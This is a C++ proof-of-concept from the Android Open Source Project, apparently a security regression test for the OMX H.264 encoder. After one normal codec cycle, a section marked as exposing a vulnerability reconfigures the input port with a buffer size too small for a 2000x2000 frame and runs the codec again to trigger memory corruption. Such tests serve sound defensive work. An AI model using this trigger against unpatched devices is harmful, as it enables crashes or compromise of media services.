/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdlib.h>
#include "../includes/common.h"
#include "../includes/omxUtils.h"

sp<IAllocator> mAllocator = IAllocator::getService("ashmem");

int allocateHidlPortBuffers(OMX_U32 portIndex,
                        Vector<Buffer> *buffers) {
    buffers->clear();
    OMX_PARAM_PORTDEFINITIONTYPE def;
    int err = omxUtilsGetParameter(portIndex, &def);
    omxExitOnError(err);
    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
        Buffer buffer;
        buffer.mFlags = 0;
        bool success;
        auto transStatus = mAllocator->allocate(def.nBufferSize,
                                                [&success, &buffer](
                                                        bool s,
                                                        hidl_memory const& m) {
                                                    success = s;
                                                    buffer.mHidlMemory = m;
                                                });
        omxExitOnError(!transStatus.isOk());
        omxExitOnError(!success);
        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
        buffers->push(buffer);
    }
    return OK;
}

int main() {

    /* Initialize OMX for the specified codec                            */
    status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
    omxExitOnError(ret);
    /* Get OMX input port parameters                                     */
    OMX_PARAM_PORTDEFINITIONTYPE *params =
            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
    int ipBufferCount = params->nBufferCountActual;
    /* Set port mode */
    omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
    /* Allocate input buffers and graphic buffer                         */
    sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
            params->format.video.nFrameWidth, params->format.video.nFrameHeight,
            HAL_PIXEL_FORMAT_RGBX_8888,
            android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
    int i;
    Vector<Buffer> inputBuffers;
    Vector<Buffer> outputBuffers;
    /* Register input buffers with OMX component                         */
    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
    /* Get OMX output port parameters                                    */
    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
    int opBufferSize = params->nBufferSize;
    int opBufferCount = params->nBufferCountActual;
    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
    /* Do OMX State chage to Idle                                        */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    /* Do OMX State chage to Executing                                   */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
    /* Empty input buffers and fill output buffers                       */
    OMXBuffer omxIpBuf(graphicbuffer);
    omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
    OMXBuffer omxOpBuf(0, opBufferSize);
    omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
    /* Do OMX State chage to Idle                                        */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    /* Do OMX State chage to Loaded                                      */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
    /* Free input and output buffers                                     */
    for (i = 0; i < ipBufferCount; i++) {
        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
    }
    for (i = 0; i < opBufferCount; i++) {
        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
    }
    /*********************************************************************/
    /* Following code exposes vulnerability                              */
    /*********************************************************************/
    Vector<Buffer> newInputBuffers;
    Vector<Buffer> newOutputBuffers;
    /* Get OMX input port parameters, change settings and set output port*/
    /* port parameters                                                   */
    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
    params->nBufferSize = 38016;
    params->format.video.nFrameWidth = 2000;
    params->format.video.nFrameHeight = 2000;
    omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
    /* Allocated input buffers and register with OMX component           */
    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
    /* Allocated output buffers and register with OMX component          */
    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
    /* Do OMX State chage to Idle                                        */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    /* Do OMX State chage to Executing                                   */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
    /* Empty input buffers and fill output buffers                       */
    OMXBuffer newOmxIpBuf(graphicbuffer);
    omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
    OMXBuffer newOmxOpBuf(0, opBufferSize);
    omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
    /* Do OMX State change to Idle                                         */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    /* Do OMX State change to Loaded                                       */
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
    /* Free input and output buffers                                       */
    for (i = 0; i < ipBufferCount; i++) {
        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
    }
    for (i = 0; i < opBufferCount; i++) {
        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
    }
    /* Free OMX resources                                                */
    omxUtilsFreeNode();

    return EXIT_SUCCESS;
}